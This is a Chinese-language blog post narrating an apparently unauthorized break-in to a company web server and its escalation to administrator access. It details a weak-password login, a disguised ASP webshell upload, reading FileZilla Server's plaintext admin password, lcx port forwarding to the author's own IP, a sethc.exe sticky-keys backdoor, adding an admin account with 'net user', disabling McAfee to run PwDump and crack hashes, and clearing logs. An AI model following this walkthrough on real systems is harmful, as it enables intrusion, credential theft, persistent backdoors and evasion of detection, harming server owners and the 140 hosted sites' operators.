记一次FileZillaServer提权

前段时间检测一个企业网站,在检测该企业的一个下属公司的网站时通过用户名admin和密码123456进入了后台,后台目录就是公司汉语拼音+admin,诸如xxxadmin这种形式的。在后台通过“产品图片”上传了一个改名为“2010.asp;x.jpg”的asp一句话木马,顺利得到了webshell,webshell的地址为公司网址/pic/22302010.asp;x.jpg”。

使用一句话木马的“Get Drivers”功能列出了C、D、E、F、G、H盘的大小和可用空间的大小,看来权限还比较大,于是我就想来尝试一下提权。使用一句话木马获得网站的物理路径后尝试上传aspx木马ASPXSpy2009,上传成功了,但在访问时却不匹配,看来这个网站不支持aspx文件啊。

为了方便操作,我使用一句话木马上传了一个asp大马,通过asp大马发现服务器权限设置的很松,几乎可以浏览任何目录,也可以浏览别的网站的目录,并且有写权限。“c:\windows\system32\”目录不出意料的只有读取权限,WScript.Shell没有删除,尝试使用系统中的“c:\windows\system32\cmd.exe”来执行命令,提示拒绝访问,我上传了一个cmd.exe到网站目录下,这次可以执行命令了。通过执行“netstat -an”命令发现3389端口开放了,使用我的远程桌面连接程序连接一下,发现可以连接,因此登录服务器的3389就成了我的一个目标。通过“netstart”命令还发现服务器安装了FileZilla Server FTP server.McAfee杀毒软件以及MSSQL。

我在服务器的硬盘上翻查着有用的信息,发现服务器上有很多网站,但没有找到sa用户的密码,甚至没有发现服务器上的任何一个网站使用的是MSSQL数据库。继续翻查硬盘,我拿到的webshell的网站是在“F:\dongtai\”目录下,在“F:\wood\”目录下发现也有很多网站,在一个网站的目录下尝试上传ASPXSpy,这次终于可以运行了。

有了aspx的webshell使用起来就更方便了,首先WScript.Shell可以直接调用系统目录下的cmd.exe就能执行命令了,不用再像调用网站目录下的cmd.exe那样要带网站目录的路径才行,另外就是利用ASPXSpy的“IIS Spy”功能发现了服务器上运行着140个网站。我测试了一下,发现aspx的webshell对于“c:\window\system32\”目录下的文件同样只有读取权限。

既然webshell已经拿到手了,就要考虑提权了,一个网站下的webshell居然可以浏览别的网站目录下的文件,还有写权限,看来管理员的安全做的实在不怎么样啊,不试试提权还真对不起他了。想了想常用的提权方法,好像都用不上,对了,刚才不是发现服务器上安装了FileZilla Server FTP server吗,说不定它就是一个突破口。在“D:\ProgramFiles\FileZilla Server\”目录下找到了FileZilla Server的安装目录,尝试复制该目录下的FileZilla server.exe,复制成功了,这说明该目录可写。

这对我绝对是个好消息,通过tasklist命令发现了FileZilla server.exe和FileZilla Server Interfac.exe正在运行,使用木马替换上面的任意一个文件,等到FileZilla Server重启或系统重启后就会运行我们的木马了,到此我已经找到了一种提权的方法。这个替换文件的提权方法虽然可行,但弊端也很大,即使提权成功了,也会把服务器上的FileZilla Server搞挂,很容易被管理员发现,提权本来就是无聊玩玩,为此影响到服务器的正常运行那可就不好了。

如果真要使用替换文件的方法来提权,我们还可以考虑对FileZilla server.exe进行文件插码,加入添加一个系统管理员用户的代码,这样当系统重启后就会添加一个管理员用户,使用添加的管理员用户再直接登录3389也是一种提权方法,这比使用木马直接替换FileZilia server.exe要更好,但仍然要对FileZilla server.exe进行修改,也可能会被管理员发现,再来找找,说不定还有更好的方法。

我在FileZilla Server的安装目录下发现有一个FileZiIlaS erver.xml文件,使用websbell查看它的内容,发现它保存着FTP软件FileZilla Server的用户信息。

其中“User Name”后面是FTP用户的用户名,“Pass”后面是经过MD5加密后的密码值(32位),“Permission Dir”是该FTP用户可以管理的目录,这里为“F:”,也就是整个F盘。“Permissions”下面是该FTP用户的权限设置,比如“FileWrite”的值为“1”,就说明该FTP用户在该目录下有写权限,如果为“0”,则表示没有写权限。经测试,FileZilla Server.xml同样可以写,于是我考虑通过修改这个文件来添加一个对C盘有完全权限的用户,然后再通过FTP登录后利用shift后门来提权。我不知道具体怎样通过修改FileZilla Server.xml来添加用户,为了保险起见,还是先在我的电脑上测试好后再在服务器上进行修改吧。

在服务器的H盘根目录下发现了一个名为FileZilla_Server-0_9_31.exe的文件,估计就是服务器上FileZillaServer的安装文件,下载回来后,在虚拟机里进行了安装,软件是英文的,一路点击“Next”,不用做任何修改,最后点击“Install”后就可以完成安装了。FileZilla Server的管理端口默认为14147,默认管理密码为空,直接点击“OK”按钮,看到那个“Logged on”的提示就说明登录成功了。

点击“Edit”菜单下的“Settings”就来到了软件的设置界面,在这里可以设置客户端的连接端口、连接超时等,点击“Admin Interface seetings”,选中“Change admin password”,输入要设置的新密码,就可以修改FileZiila Server的管理密码了。

"IP Addresses which are allowed to connect to the admininterface:”是设置允许哪些IP连接到管理控制台,默认情况下只有127.0.0.1可以,这给我们的提权带来了一些小麻烦,如果允许任何IP连接到管理控制台,那提权就太简单了。我发现这些设置都保存在了FileZilla Server安装目录下的FileZiIla Server Interface.xml文件中,使用记事本打开后就会发下里面的内容。

很简单的,“Last Server Port”是管理端口,这里为默认的14147,“Last Server Address”是上次登录的IP,“Last Server Password”是管理密码,修改了管理密码的话会在这里显示出来,我在设置中把密码修改为了hackerxfiles,重新登录一下管理控制台,再打开FileZillaServer Interface.xml文件,在“Last Server Password”后面看到了刚修改的密码hackerxfiles。

到此我们就知道了FileZilla Server的管理密码是以明文的形式保存在FileZilla Server安装目录下的FileZilla ServerInterface.xml文件中,真有点儿搞不明白软件的作者是怎么想的,普通FTP用户的密码经过MD5加密后保存了,而重要的控制台管理密码却以明文的形式保存在文件中,难道是疏忽了?

我马上想到服务器上FileZilla Server的控制台管理密码是否修改了,使用webshell查看服务器上FileZilla Server安装目录下的FileZilia Server Interface.xml.发现密码果然更改了,修改为了bmlink,把它记录下来,说不定有什么用的。下面来看怎样添加用户,点击有一个小人头像的“Users”按钮就打开了用户管理界面,在这里可以增加、删除FTP用户,并对FTP用户的主目录、权限等进行设置。右上角的“Users”编辑框下会显示所有的FTP用户列表,由于还没添加任何FTP用户,因此用户列表是空的。我们来添加一个用户,点击“Add”按钮会弹出了“Add useraccount”对话框,输入想要添加的FTP用户的名字,这里我输入了hackefXfiles,下面的选择用户组不用管,点击OK按钮后就添加了一个用户,我们来给这个用户设置一个密码,选择“Password”单选框,在后面输入想要设置的密码,这里我设置密码为123456。

接下来设置这个FTP用户的主目录,点击“Sharefolders”选择,点击“Add”按钮来添加主目录,这里主目录我选择了c盘,单击一下刚才添加的目录“c:\”,把右面的权限都选上。然后点击左下角的“OK”按钮,用户就添加完成了,试着使用该用户登录一下FTP,功能一切正常。

本机会添加用户了,就该通过修改FileZilla Server.xml来给服务器添加用户了。本机添加hackerxfiles这个FTP用户后,本来我想通过直接复制添加的用户信息到服务器上,但不确定用户信息具体是从哪里开始哪里和结束,为了稳妥起见,我决定采用把服务器上的FileZilla Server.xml下载到本机,覆盖本机的FileZilla Server.xml,添加好用户后再使用添加好用户的FileZilla Server.xml覆盖服务器上的FileZilla Server.xml。

把服务器上的FileZilla Server.xml下载到本机并覆盖本机的FileZilla Server.xml,为了使新的FileZilla Server.xml生效,还需要依次点击开始菜单中的Stop FileZilla Server和Start FileZilla Server来重启FileZilla Server。登录管理控制台,添加一个名为test,密码为123456,对c盘有完全权限的用户,然后把FileZilla Server,xml上传到服务器中.备份服务器上原来的FileZilla Server.xml后覆盖。只要服务器重启或FileZilla Server重启,那么添加的用户就会生效了,管理员一般不会无缘无故重启的,看来只能耐心的等等了。

为了知道服务器是否重启,我使用webshell执行命令systeminfo,发现了如下的命令回显“系统启动时间:15天13小时44分19秒”,这说明系统已经15天没有重启了,还是耐心的等待吧。我每天都使用websbell执行一次systeminfo命令来查看服务器重启了没有,但令我失望的是系统启动时间一天一天增加,可就是不见服务器重启,我等不及了,看来要另想别的办法了。

使用什么办法才可以让服务器重启昵,我搜索了一下在webshell下重启服务器的方法,大多数都是消耗完服务器的系统资源让服务器重启,我找到了一个guest权限下可以运行的让服务器重启的程序,原理也是消耗系统资源,先在虚拟机中测试了一下效果,我的虚拟机系统是512MB的内存,运行程序后很快系统就假死了,只能重新启动。通过webshell把程序上传到服务器中,运行后我就去干别的事了,过了3个多小时再去webshell上查看,发现服务器还是没有重启,我叉运行了一次程序,第二天再去查看,服务器依然没有重启。估计是服务器配置比较高的原因吧,通过webshell让服务器重启的方法看来也行不通了。

静下心来想了一想,我现在使用的提权方法,只需要等服务器重启就可以提权成功了,那有没有别的方法呢?通过搜索发现网上介绍的FileZilla Server的提权方法除了我上面使用的修改FileZilla Server.xml添加FTP用户外,还提到了一种方法就是通过FPipe把FileZilla Server的‘默认管理端口转发到别的端口,这有点儿类似于Serv-U的转发端口提权。我先在虚拟机里测试了一下,在一台支持aspx的虚拟机的Windows7系统中安装FileZilla Server,作为假想服务器,IP地址为192.168.32.128,在虚拟机里的另一台Windows 2003系统中只安装FileZilla Server的“Administralion interface”,也就是只安装FileZilla Server的管理控制台,安装好后尝试登录假想服务器系统中FileZilla Server的控制台,尽管密码正确却不能连接,因为14147端口绑定了登录lP为127.0.0.1,也就是只能在本机登录。通过webshell把FPipe.exe上传到网站根目录下,然后执行以下命令“C:\www\FPipe.exe—v—l 12345-r 14147127.0.0.1”,其中“C:\www\”就是网站目录,该命令的意思就是把连接到12345端口的数据转发到l4147端口,命令执行后使用FileZilla Server IntBrface连接l92.168.32.128的12345端口,成功登录了。

在虚拟机里测试成功了,下面就来到远程服务器上实际提权,使用虚拟机里系统中的McAfee杀毒软件扫描了一下我使用的FPipe.exe,没有报毒,省得做免杀了。把FPipe.exe上传到服务器的网站目录下,执行端口转发命令后满怀希望的使用控制台程序FileZilla Server Interface进行连接,却还是连接不上,郁闷了。通过执行“netstat -an”命令发现12345端口在监听了,就是连不上,telnet-下服务器的12345端口,连接失败,可能是服务器上的防火墙阻止了连接,后来登录到服务器后确实发现服务器上开着系统自带的防火墙。我在虚拟机里安装了FileZⅢa Server的系统中打开Windowa自带的防火墙,还是使用FPipe转发端口,用控制台程序FileZilia Server Interface连接就连不上了,软件提示“Connection to server lost”,这个方法又没有成功。

睡了一觉后,我打算再碰碰运气,首先使用htran从服务器上反弹了一个代理到我的电脑上,使用SocksCap32连接上代理后再进行连接,依然登录不成功。这时候我又想到了在登录内网电脑的3389时用到的lcx,可不可以把服务器的14147端口转发到我的电脑上来进行登录呢?反正在网上没有看到使用这个方法的,来试试吧。在本机上安装FileZilla Server的Administration interface,然后

在本机抗行命令“lcx.exe。listen 5114147”,我又找了一个免杀McA fee的lcx.e上传到服务器的网站目录下,在webshell中执行“lcx.cxe -slave123,123.123.123 51 127.0.0.‘1 14147”,其中假设123.123.I 23.123就是我电脑的公网IP地址。成功把数据转发了出来,使用FileZilla Server Interface连接,连接lP就写127.0.0.1,

端口使用默认的14147,连接密码就写找到的管理密码bmlink,点击“Ok”按钮后过了一两秒钟终于登录成功了!马上添加了一个名为est,密码为123456,对c盘有完全权限的用户,然后使用test用户成功登录了FTP。登录FTP后切换到C:\WINDOWS\system32\dllcache目录下,然后执行命令“getsethc.cxe”,把服务器上的C:\WINDOWS\system32\dllcache目录下的sethc.exe下载到本机备份,方便过一会儿恢复使用,执行“delsethc.exe”把当前量录下的sethc.exe删除,再执行“get cmd.exe“把服务器上C:\WINDOWS\system32\dllcache目录下的cmd.exe下载到本地,然后把下载回来的cmd.exe重命名为sethc.exe,然后再通过命令“put sethc.exe”把刚才改名为sethc.exe的cmd.exe上传到服务器的c:\WINDOWS\system32\dIJcache目录下,然后执行命令“cd”把目录切换到C:\WINDOWS\system32\目录下,分别执行命令“del sethc.exe”,  “put sethc.exe”。

执行完这些命令后就完成了在服务器上使用cmd.exe替换sethc.exe,我们使用远程桌面连接程序连接服务器的IP,在出来的用户登录界面下按5下shift键,就出来了cmd窗口。

在这个cmd窗口中执行命令“net user 123 123 /add”,“net localgroup administrators 123 /add",添加了一个用户名和密码都为123的管理员用户,然后使用23用户登录服务器的3389,登录3389后我叉想抓取管理员用户的密码hash值,但上传PwDump71时被McAfee查杀了,选择McAfee的“禁用按访问扫描”后把PwDump71传了上去,成功抓取了用户的hash,使用7.9G的彩虹表成功破解出了管理员的密码为ad[email protected]#321,然后使用管理员用户登录了远程桌面。

把替换的sethc.exe恢复过来,再把建立的FTP用户删除掉,清理一下FileZilla Server的日志,提权就完成了。整个提权的过程中没用到什么新技术,都是一些老方法和老工具的组合,从找到提权方法到找到更好的提权方法,根据遇到的问题不断变化应对的方法,最终用自己满意的方法完成了提权。

QQ空间

新浪微博

时间: 2024-10-17 14:23:23

记一次FileZillaServer提权的相关文章

记一次ms16-032成功提权win7/win12

E:\Tools\提权大结合\ms16-032>whoami pc-20140503jfge\administrator 首先查看权限是administrator 随后溢出 可以看到是system权限了 这是拿我本机试的. 可以在win12上成功溢出 exp不开源

记一次提权过程

太久都没有看菜刀上的webshell,之前拿的都被删的差不多了,所以决定把手上的一些站都提权.菜鸟拿一个shell不简单阿. 这都是一些简单的提权,大牛可飞过. 把大马上传上去后,稍微看了下,ASP,PHP,ASPX都是支持的,不过wscript.shell组件是已经关闭的了.那么就用PHP的来提权吧. 翻了一下网站里面的文件,找到了一个数据库链接文件,竟然还是root用户,那自然就是用mysql来提权了. 上传大马,看看root的权限有没有被限制. 还是可以跨目录来访问其他文件的,说明root

记一次初步Linux提权

前言. 提权这么久了  还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器  要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2漏洞页面 http://www.dainar.com/index.action 可以看到是root权限的 接着就是想办法添加一个root组的用户 由于添加用户需要两次重复输入密码(不像win服务器直接net user) 所以nc反弹一个shell到外网服务器上 nc -vv -l -p 2333 在

记一次枯燥的2003提权

作者:leafer    所属团队:Arctic Shell目标机:Windows 2003 本机:win7 中间件:IIS Webshell:PHP一句话(已置目录中) 相关漏洞:MS16-032 过程: 连接菜刀 [ 菜刀 ] 进入虚拟终端 猜想权限过低,因为cmd.exe置于c:\window\system32目录下,默认最高权限的账户 而iis的服务账户只是IUSER 或者 network service 低权限账户 直接上传CMD.EXE 发现上传的cmd发现权限仅限于上传文件夹 查询

[转帖]「白帽黑客成长记」Windows提权基本原理(上)

https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows来强调任何可能存在的命令行差异,请牢记因为不同的操作系统和版本差异会在命令行中显现,作者试图构造本教程,以便它适用于Windows提权的最普遍的方式. 注:文章篇幅较长,阅读用时约10分钟. 必要文档补

CVE-2017-0213 | 记一次失败的提权经历

环境: CVE-2017-0213下载 提权步骤: 提权失败.... 好迷啊,,,,事后查了一下补丁 我的wind7上也没装啊,然后防火墙也是关闭的 迷了迷了.... 原文地址:https://www.cnblogs.com/chrysanthemum/p/11588250.html

转载:windows的mysql提权方式

mysql提权语句归纳如下: 一 UDF提权 这类提权方法我想大家已经知道了,我大致写一下,具体语句如下: create function cmdshell returns string soname ’udf.dll’ select cmdshell(’net user iis_user [email protected]#abcABC /add’); select cmdshell(’net localgroup administrators iis_user /add’); select

Android提权漏洞CVE-2014-7920&CVE-2014-7921分析

没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到media权限,其中CVE-2014-7921影响Android 4.0.3及以后的版本,CVE-2014-7920影响Android 2.2及以后的版本.Google直到Android5.1才修复这2个漏洞.该漏洞[1]披露过程如下: 2016年1月24日漏洞作者发布了漏洞分析及exploit[2],

mysql提权笔记

最近小菜遇到mysql提权,总是会搞错,就记记笔记吧!以后方便用 先说手工吧! mysql<5.0,导出路径随意:5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如:system32),否则在下一步操作中你会看到“No paths allowed for shared library”错误:mysql>5.1,需要使用 show variables like '%plugin%';语句查看插件安装路径,导出的时候指定DLL路径为插件路径. 现在几乎都是五点几吧!低版